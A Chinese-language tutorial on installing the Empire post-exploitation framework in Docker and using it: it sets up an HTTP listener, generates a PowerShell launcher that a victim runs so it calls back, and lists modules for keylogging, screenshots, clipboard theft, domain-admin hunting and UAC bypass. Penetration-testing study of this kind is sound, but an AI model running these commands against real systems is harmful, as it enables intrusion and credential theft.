Empire-配置安装和基本使用
1. 简述
Empire一款只针对win系统的后渗透神器,该工具是基于Poweshell脚本的攻击框架
主要实现对内网、对域的攻击,提权横向移动等。
2. 环境配置
正常安装过程中BUG比较多,安装各种报错,属实恼火,本次以docker安装测试为主。
Linux安装,需要python2.7环境。
git clone https://github.com/EmpireProject/Empire.git
sudo ./Empire/setup/install.sh
sudo ./setup/reset.sh
sudo ./Empire/empire
Docker安装
docker pull empireproject/empire
docker run -it -p 4567:4567 -p 4568:4568 --name empire empireproject/empire /bin/bash
sudo ./setup/reset.sh
sudo ./empire
安装提示缺少依赖包:pefile,pip安装pefile报错(提示版本过低),下载pip手动更新:
# 下载
[root@3aeed373c0fd ~]:/opt/Empire# curl https://files.pythonhosted.org/packages/8c/5c/c18d58ab5c1a702bf670e0bd6a77cd4645e4aeca021c6118ef850895cc96/pip-20.0.tar.gz#sha256=5128e9a9401f1d16c1d15b2ed766a79d7813db1538428d0b0ce74838249e3a41 -o pip.tar.gz
# 解压安装
[root@3aeed373c0fd ~]:/opt/Empire#tar -xf pip.tar.gz
[root@3aeed373c0fd ~]:/opt/Empire#python setup.py install
[root@3aeed373c0fd ~]:/opt/Empire# pip install pefile
# 打包镜像,不然下次运行还是缺少依赖包
docker commit 3aeed373c0fd empire2
# 之后便后生成镜像empire2,后续运行empire2就行
docker run -it 434 /bin/bash
终于成功跑起来了,T.T
3. 模块概述
看了官网描述,大概内容如下:
├── Fundamentals
│ ├── Listeners
│ ├── Stagers
│ ├── Agents
│ └── Logging-and-Downloads
├── Mimikatz
│ ├── Credentials
│ └── Kerberos
├── Situational-Awareness
│ ├── Host
│ └── Network
├── Privesc
│ ├── UAC-Bypass
│ ├── PowerUp
│ └── GPP
├── Collection
│ ├── ClipboardTheft
│ ├── Keylogging
│ ├── Screenshots
│ └── Misc.
├── Lateral-Movement
│ ├── Pass-the-hash
│ ├── Invoke-WMI
│ ├── Invoke-PsExec
│ └── PSRemoting
├── Persistence
│ ├── PowerBreach
│ ├── Userland
│ ├── Elevated
│ ├── Debuggers
│ └── Misc.
├── MSF-Integration
│ ├── Empire-as-a-Payload
│ └── Foreign-MSF-Listeners
└── Misc.
├── Empire-Staging
├── Module-Development
├── Process-Injection
└── Session-Passing
4. 基本使用
4.1 设置监听器
首先要进入监听器模块,之后选择监听器类型,设置URL,生成名称为test1的监听器,注意大小写敏感。
listeners
uselistener http
set Name test1
set Host http://172.17.0.2:4567
set Port 4567
execute
查看刚刚设置的监听器(返回使用back):
list listeners
注意:
由于我是在docker中启动的empire,而docker环境在未进行配置的情况下不能被外部访问,只能通过-p指定端口,所以生成木马的时候上线主机应设置为宿主机的IP,之后得再改回来,比较麻烦。
宿主机 IP:192.168.2.8
docker IP:172.17.0.2
先使用宿主机IP生成木马:
生成后更改IP为dockerIP,并重启监听器:
后续发现这样并不行,虽然能够上线,但是并不能执行命令,经测试,发现是docker网络环境导致。
退出修改配置如下,使docker和宿主机在同一网段:
# 创建名称为test的docker网络,ens33是宿主机的网卡名称
docker network create -d macvlan --subnet=192.168.2.100/24 --gateway=192.168.2.2 -o parent=ens33 test
# 查看创建的网络
docker network ls
运行empire,并指定网络和地址
docker run –net=test –ip=192.168.2.10 -itd empire2 /bin/bash
进入容器
docker exec -it 3f791 /bin/bash
# 不开启detach可以直接进入容器了
docker run --net=test --ip=192.168.2.10 -it empire2 /bin/bash
4.2 上线操作
生成ps脚本,受害主机运行ps脚本,成功上线。首先重命名为win8,后续进入交互界面。
launcher powershell test
查看主机上线列表可以使用agents
命令:
进入agent
interact win8
一些基本的信息搜集:systeminfo
,getuid
,creds
使用模块搜集信息(存在中文乱码情况,暂未解决,后续测试换了English的环境…..):
usemodule situational_awareness/host/computerdetails
usemodule situational_awareness/host/winenum
其他模块:
collection/screenshot
collection/keylogger
collection/clipboard_monitor
#域内所有的共享
situational_awareness/network/powerview/share_finder
#列举系统中所有有用的信息
situational_awareness/host/computerdetails
#设置range扫描的网段
situational_awareness/network/arpscan
#DNS信息获取
situational_awareness/network/reverse_dns
#查找域管登陆的机器
situational_awareness/network/powerview/user_hunter
#本地管理组访问模块
situation_awareness/network/powerview/find_localadmin_access
#绕过UAC实现管理员权限执行payload
privesc/bypassuac
privesc/pypassuac_wscript
参考链接:
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。